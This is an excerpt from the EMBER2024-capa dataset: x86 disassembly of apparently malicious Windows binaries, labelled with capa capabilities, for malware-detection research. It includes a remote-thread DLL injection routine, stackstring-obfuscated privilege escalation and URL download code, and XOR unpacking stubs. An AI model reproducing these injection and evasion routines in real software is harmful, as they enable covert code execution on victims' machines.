joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100027e9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000282a
xor eax, eax
jmp 0x10002884
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000287b
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
test eax, eax
pop ecx
jne 0x1000286a
mov eax, dword [ebp - 0x120]
inc esi
mov dword [edi], eax
add edi, 4
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10002848
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002889
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
push dword [ebp + 8]
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x100028b8
xor eax, eax
jmp 0x1000291a
lea eax, [ebp - 0x224]
push esi
push eax
push edi
mov dword [ebp - 0x224], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x1000290e
mov esi, dword [sym.imp.MSVCRT.dll__strcmpi]
lea eax, [ebp - 0x204]
push eax
push dword [ebp + 0xc]
call esi
pop ecx
test eax, eax
pop ecx
je 0x10002909
lea eax, [ebp - 0x224]
push eax
push edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x1000290e
lea eax, [ebp - 0x204]
push eax
push dword [ebp + 0xc]
jmp 0x100028e4
push 1
pop esi
jmp 0x10002910
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
leave
ret
Function at 0x1000291d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push edi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
xor edi, edi
cmp dword [0x100053c8], edi
je 0x10002952
cmp dword [0x100053cc], edi
je 0x10002952
cmp dword [0x100053d0], edi
jne 0x10002a1d
push ebx
lea eax, [ebp - 0x2c]
push esi
push eax
mov dword [ebp - 0x2c], 0x61766461
mov dword [ebp - 0x28], 0x32336970
mov dword [ebp - 0x24], 0x6c6c642e
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x5c], 0x756a6441
mov dword [ebp - 0x58], 0x6f547473
mov dword [ebp - 0x54], 0x506e656b
mov dword [ebp - 0x50], 0x69766972
mov dword [ebp - 0x4c], 0x6567656c
mov dword [ebp - 0x48], 0x73
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x78], 0x6b6f6f4c
mov dword [ebp - 0x74], 0x72507075
mov dword [ebp - 0x70], 0x6c697669
mov dword [ebp - 0x6c], 0x56656765
mov dword [ebp - 0x68], 0x65756c61
mov dword [ebp - 0x64], 0x41
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x40], 0x6e65704f
mov dword [ebp - 0x3c], 0x636f7250
mov dword [ebp - 0x38], 0x54737365
mov dword [ebp - 0x34], 0x6e656b6f
mov dword [ebp - 0x30], edi
call fcn.10002b93
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
pop ecx
lea eax, [ebp - 0x5c]
push eax
push ebx
call esi
mov dword [0x100053c8], eax
lea eax, [ebp - 0x78]
push eax
push ebx
call esi
mov dword [0x100053cc], eax
lea eax, [ebp - 0x40]
push eax
push ebx
call esi
pop esi
mov dword [0x100053d0], eax
pop ebx
lea eax, [ebp - 4]
push eax
push 0x20028
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x100053d0]
test eax, eax
je 0x10002a93
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
push edi
call dword [0x100053cc]
test eax, eax
jne 0x10002a4e
push 1
pop eax
jmp 0x10002a93
mov eax, dword [ebp - 0xc]
push edi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
neg eax
sbb eax, eax
push edi
and eax, 2
push edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
call dword [0x100053c8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
pop edi
leave
ret
Function at 0x10002a96
Capabilities:
Contain obfuscated stackstrings
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
push dword [ebp + 0xc]
xor edi, edi
mov dword [ebp - 0x2c], 0x4e52454b
mov dword [ebp - 0x28], 0x32334c45
mov dword [ebp - 0x24], 0x4c4c442e
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], 0x64616f4c
mov dword [ebp - 0x18], 0x7262694c
mov dword [ebp - 0x14], 0x41797261
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
call sub.MSVCRT.dll_strlen
pop ecx
mov esi, eax
push dword [ebp + 8]
inc esi
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
je 0x10002b84
push 4
push 0x1000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp eax, edi
mov dword [ebp + 8], eax
je 0x10002b84
lea ecx, [ebp - 4]
push ecx
push esi
push dword [ebp + 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10002b84
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
cmp esi, edi
je 0x10002b7d
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push edi
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0xc], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002be5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
je 0x10002c29
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
cmp word [edx], 0x5a4d
jne 0x10002c29
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x10002c29
mov eax, dword [ecx + 0x50]
pop edi
pop ebp
ret
Function at 0x10002dff
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
xor ebx, ebx
cmp dword [0x100053d4], ebx
je 0x10002e41
cmp dword [0x100053d8], ebx
je 0x10002e41
cmp dword [0x100053dc], ebx
je 0x10002e41
cmp dword [0x100053e0], ebx
jne 0x10002f05
mov eax, 0x74656e72
mov ecx, 0x65746e49
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x20]
mov edx, 0x6e65704f
push eax
mov dword [ebp - 0x20], 0x696e6977
mov dword [ebp - 0x1c], 0x2e74656e
mov dword [ebp - 0x18], 0x6c6c64
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x6c], 0x736f6c43
mov dword [ebp - 0x68], 0x6e614865
mov dword [ebp - 0x64], 0x656c64
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0x41
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0x416c7255
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x64616552
mov dword [ebp - 0x28], 0x656c6946
mov dword [ebp - 0x24], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x74]
push eax
push edi
call esi
mov dword [0x100053d4], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x100053d8], eax
lea eax, [ebp - 0x5c]
push eax
push edi
call esi
mov dword [0x100053dc], eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
mov dword [0x100053e0], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x100053d8]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10002fe2
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x100053dc]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10002fd9
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x100053e0]
test eax, eax
je 0x10002fc7
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x10002fc3
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x10002f8f
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x10002fc3
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x100053e0]
test eax, eax
jne 0x10002f69
cmp edi, ebx
ja 0x10002fd3
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x10002fd9
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x100053d4]
push dword [ebp - 0x10]
call dword [0x100053d4]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x10003628
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
xor eax, eax
mov ecx, 0x43676552
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x6c], eax
push esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x54], ecx
lea eax, [ebp - 0x10]
push edi
mov edx, 0x53676552
mov ecx, 0x61567465
push eax
mov dword [ebp - 0x10], 0x41564441
mov dword [ebp - 0xc], 0x32334950
mov dword [ebp - 8], 0x6c6c642e
mov dword [ebp - 0x1c], 0x65736f6c
mov dword [ebp - 0x18], 0x79654b
mov dword [ebp - 0x50], 0x74616572
mov dword [ebp - 0x4c], 0x79654b65
mov dword [ebp - 0x48], 0x41
mov dword [ebp - 0x30], 0x4f676552
mov dword [ebp - 0x2c], 0x4b6e6570
mov dword [ebp - 0x28], 0x417965
mov dword [ebp - 0x68], 0x51676552
mov dword [ebp - 0x64], 0x79726575
mov dword [ebp - 0x60], 0x756c6156
mov dword [ebp - 0x5c], 0x41784565
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x4165756c
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], 0x4565756c
mov dword [ebp - 0x70], 0x4178
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x20]
push eax
push edi
call esi
mov dword [0x1000570c], eax
lea eax, [ebp - 0x54]
push eax
push edi
call esi
mov dword [0x10005704], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x100056fc], eax
lea eax, [ebp - 0x68]
push eax
push edi
call esi
mov dword [0x10005700], eax
lea eax, [ebp - 0x40]
push eax
push edi
call esi
mov dword [0x100056f8], eax
lea eax, [ebp - 0x7c]
push eax
push edi
call esi
pop edi
mov dword [0x10005708], eax
pop esi
leave
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x7b373a9c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
mov eax, section..data_1
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x20c36641
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4172b3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4172f2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4172f2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4172f2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4172f2
cmp dword [ecx + 0x74], 0xe
jbe 0x4172f2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x429590
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4295bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4295bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401040
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x48
push ebx
push esi
xor ebx, ebx
lea eax, [esp + 0x18]
push 0x38
push str.1.3.1
push eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
call fcn.0040a950
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401094
mov eax, dword [esp + 0x58]
push esi
add eax, 0x12
push eax
push str.Failed_to_extract__s:_inflateInit___failed_with_return_code__d__n
call fcn.00402690
add esp, 0xc
or eax, 0xffffffff
pop esi
pop ebx
add esp, 0x48
ret
push 0x2000
call fcn.00412a29
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4010c8
mov eax, dword [esp + 0x58]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_failed_to_allocate_temporary_input_buffer__n
push str.malloc
call fcn.00402530
add esp, 0xc
jmp 0x4011ee
push 0x2000
call fcn.00412a29
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4010fa
mov ecx, dword [esp + 0x58]
add ecx, 0x12
push ecx
push str.Failed_to_extract__s:_failed_to_allocate_temporary_output_buffer__n
push str.malloc
call fcn.00402530
add esp, 0xc
jmp 0x4011ee
mov eax, dword [esp + 0x58]
xor ecx, ecx
push ebp
mov ebp, dword [esp + 0x60]
push edi
mov eax, dword [eax + 8]
mov edi, dword [esp + 0x68]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
jb 0x401129
ja 0x401122
cmp eax, 0x2000
jbe 0x401129
mov esi, 0x2000
jmp 0x40112b
mov esi, eax
push dword [esp + 0x5c]
push esi
push 1
push dword [esp + 0x24]
call fcn.0040e922
add esp, 0x10
cmp eax, esi
jne 0x4011e9
push dword [esp + 0x5c]
call fcn.0040e71d
add esp, 4
test eax, eax
jne 0x4011e9
sub dword [esp + 0x10], esi
mov dword [esp + 0x24], esi
sbb dword [esp + 0x14], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
nop
lea eax, [esp + 0x20]
mov dword [esp + 0x30], 0x2000
push 0
push eax
mov dword [esp + 0x34], ebx
call fcn.00408ff0
add esp, 8
mov dword [esp + 0x1c], eax
lea ecx, [eax + 4]
cmp ecx, 6
ja case.0x40119e.1
movzx ecx, byte [ecx + 0x401274]
jmp dword [ecx*4 + 0x401268]
mov esi, 0x2000
sub esi, dword [esp + 0x30]
test ebp, ebp
je 0x401212
push ebp
push esi
push 1
push ebx
call fcn.0040f045
add esp, 0x10
cmp eax, esi
jne 0x4011d0
push ebp
call fcn.0040e71d
add esp, 4
test eax, eax
je 0x401223
or eax, 0xffffffff
push eax
mov eax, dword [esp + 0x64]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_decompression_resulted_in_return_code__d__n
call fcn.00402690
add esp, 0xc
or esi, 0xffffffff
pop edi
pop ebp
lea eax, [esp + 0x18]
push eax
call fcn.0040a740
push dword [esp + 0x14]
call fcn.00412a0e
push ebx
call fcn.00412a0e
add esp, 0xc
mov eax, esi
pop esi
pop ebx
add esp, 0x48
ret
test edi, edi
je 0x401227
push esi
push ebx
push edi
call fcn.0040bdf0
add esp, 0xc
add edi, esi
mov eax, dword [esp + 0x1c]
cmp dword [esp + 0x30], 0
je 0x401170
cmp eax, 1
je 0x401261
mov ecx, dword [esp + 0x14]
test ecx, ecx
jne 0x401245
cmp dword [esp + 0x10], ecx
jbe 0x4011d3
mov eax, dword [esp + 0x10]
jmp 0x401115
mov eax, 0xfffffffd
jmp 0x4011d3
cmp eax, 1
jne 0x4011d3
xor esi, esi
jmp 0x4011ec
Function at 0x401280
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x101c
call fcn.0040b170
mov eax, dword [0x436014]
xor eax, esp
mov dword [esp + 0x1018], eax
push ebx
mov ebx, dword [esp + 0x1028]
push ebp
push esi
mov esi, dword [esp + 0x102c]
push edi
push 0x428580
mov dword [esp + 0x20], esi
lea eax, [esi + 0x68]
mov dword [esp + 0x24], 0xffffffff
push eax
call fcn.00403a40
mov ebp, eax
add esp, 8
mov dword [esp + 0x10], ebp
test ebp, ebp
jne 0x4012e4
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00402690
jmp 0x401460
mov ecx, dword [ebx + 4]
xor eax, eax
add ecx, dword [esi]
push 0
adc eax, dword [esi + 4]
push eax
push ecx
push ebp
call fcn.0040ed46
add esp, 0x10
test eax, eax
jns 0x401320
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
push str.fseek
call fcn.00402530
push ebp
call fcn.0040e6c1
add esp, 0x10
jmp 0x401463
push dword [ebx + 0xc]
call fcn.00412a29
add esp, 4
mov dword [esp + 0x14], eax
mov edi, eax
mov dword [esp + 0x24], edi
test eax, eax
jne 0x40135d
push dword [ebx + 0xc]
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_allocate_data_buffer___u_bytes___n
push str.malloc
call fcn.00402530
push ebp
call fcn.0040e6c1
add esp, 0x14
jmp 0x401465
cmp byte [ebx + 0x10], 1
jne 0x40137e
push eax
push 0
push ebx
push ebp
call fcn.00401040
add esp, 0x10
test eax, eax
jne 0x401451
mov dword [esp + 0x14], edi
jmp 0x4013e1
mov edi, dword [ebx + 0xc]
xor ebp, ebp
mov dword [esp + 0x18], eax
test edi, edi
je 0x4013d9
nop dword [eax + eax]
test ebp, ebp
jb 0x4013a5
ja 0x40139e
cmp edi, 0x2000
jbe 0x4013a5
mov esi, 0x2000
jmp 0x4013a7
mov esi, edi
push dword [esp + 0x10]
push 1
push esi
push eax
call fcn.0040e922
add esp, 0x10
cmp eax, 1
jb 0x401437
mov eax, dword [esp + 0x18]
sub edi, esi
sbb ebp, 0
add eax, esi
mov dword [esp + 0x18], eax
test ebp, ebp
ja 0x40139e
jb 0x4013d5
test edi, edi
jne 0x401390
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
push ebp
add ebx, 0x12
call fcn.0040e6c1
add esi, 0x3068
push ebx
push esi
call fcn.00407250
add esp, 0xc
test eax, eax
js 0x401465
push ebx
push 0x5c
push esi
push str._s_c_s
lea eax, [esp + 0x38]
push 0x1000
push eax
call fcn.00401db0
add esp, 0x18
cmp eax, 0x1000
jge 0x401465
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x18]
call fcn.00403bb0
add esp, 8
mov dword [esp + 0x20], eax
jmp 0x401465
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_read_data_chunk__n
push str.fread
call fcn.00402530
mov ebp, dword [esp + 0x1c]
add esp, 0xc
push dword [esp + 0x14]
call fcn.00412a0e
push ebp
call fcn.0040e6c1
add esp, 8
xor edi, edi
push edi
call fcn.00412a0e
mov ecx, dword [esp + 0x102c]
add esp, 4
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040b157
add esp, 0x101c
ret
Function at 0x401690
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x10
push edi
mov edi, dword [esp + 0x18]
cmp dword [edi + 0x506c], 1
je 0x4016b6
push str.pyi_arch_extract2fs_was_called_before_temporary_directory_was_initialized__n
call fcn.00402690
add esp, 4
or eax, 0xffffffff
pop edi
add esp, 0x10
ret
push esi
mov esi, dword [esp + 0x20]
cmp byte [esi + 0x11], 0x6e
jne 0x4016ea
push esi
push edi
call fcn.00401280
mov edi, eax
add esp, 8
test edi, edi
jns 0x4016e2
lea ecx, [esi + 0x12]
push ecx
push str.Failed_to_create_symbolic_link__s__n
call fcn.00402690
add esp, 8
pop esi
mov eax, edi
pop edi
add esp, 0x10
ret
push ebx
lea ebx, [esi + 0x12]
lea eax, [edi + 0x3068]
mov dword [esp + 0x14], ebx
push ebx
push eax
call fcn.00407640
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
jne 0x401727
push ebx
push str.Failed_to_extract__s:_failed_to_open_target_file__n
push str.fopen
call fcn.00402530
add esp, 0xc
or eax, 0xffffffff
pop ebx
pop esi
pop edi
add esp, 0x10
ret
push ebp
lea eax, [edi + 0x68]
push 0x428580
push eax
call fcn.00403a40
mov ebp, eax
add esp, 8
mov dword [esp + 0x1c], ebp
test ebp, ebp
jne 0x401759
push ebx
push str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00402690
add esp, 8
or ebp, 0xffffffff
jmp 0x40188a
mov ecx, dword [esi + 4]
xor eax, eax
add ecx, dword [edi]
push 0
adc eax, dword [edi + 4]
push eax
push ecx
push ebp
call fcn.0040ed46
add esp, 0x10
test eax, eax
jns 0x40178f
push ebx
push str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
push str.fseek
call fcn.00402530
add esp, 0xc
or ebp, 0xffffffff
jmp 0x40187e
cmp byte [esi + 0x10], 1
jne 0x4017ac
push 0
push dword [esp + 0x18]
push esi
push ebp
call fcn.00401040
add esp, 0x10
mov ebp, eax
jmp 0x40187e
push 0x2000
xor ebp, ebp
call fcn.00412a29
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4017de
push ebx
push str.Failed_to_extract__s:_failed_to_allocate_temporary_buffer__n
push str.malloc
call fcn.00402530
add esp, 0xc
or ebp, 0xffffffff
jmp 0x40187e
mov esi, dword [esi + 0xc]
xor ebx, ebx
test esi, esi
je 0x401875
nop dword [eax + eax]
test ebx, ebx
jb 0x401805
ja 0x4017fe
cmp esi, 0x2000
jbe 0x401805
mov edi, 0x2000
jmp 0x401807
mov edi, esi
push dword [esp + 0x1c]
push 1
push edi
push eax
call fcn.0040e922
add esp, 0x10
cmp eax, 1
jb 0x401858
push dword [esp + 0x14]
push 1
push edi
push dword [esp + 0x1c]
call fcn.0040f045
add esp, 0x10
cmp eax, 1
jb 0x401848
mov eax, dword [esp + 0x10]
sub esi, edi
sbb ebx, ebp
test ebx, ebx
ja 0x4017fe
jb 0x401871
test esi, esi
jne 0x4017f0
jmp 0x401871
push dword [esp + 0x18]
push str.Failed_to_extract__s:_failed_to_write_data_chunk__n
push str.fwrite
jmp 0x401866
push dword [esp + 0x18]
push str.Failed_to_extract__s:_failed_to_read_data_chunk__n
push str.fread
call fcn.00402530
add esp, 0xc
or ebp, 0xffffffff
mov eax, dword [esp + 0x10]
push eax
call fcn.00412a0e
add esp, 4
push dword [esp + 0x1c]
call fcn.0040e6c1
add esp, 4
push dword [esp + 0x14]
call fcn.0040e6c1
add esp, 4
mov eax, ebp
pop ebp
pop ebx
pop esi
pop edi
add esp, 0x10
ret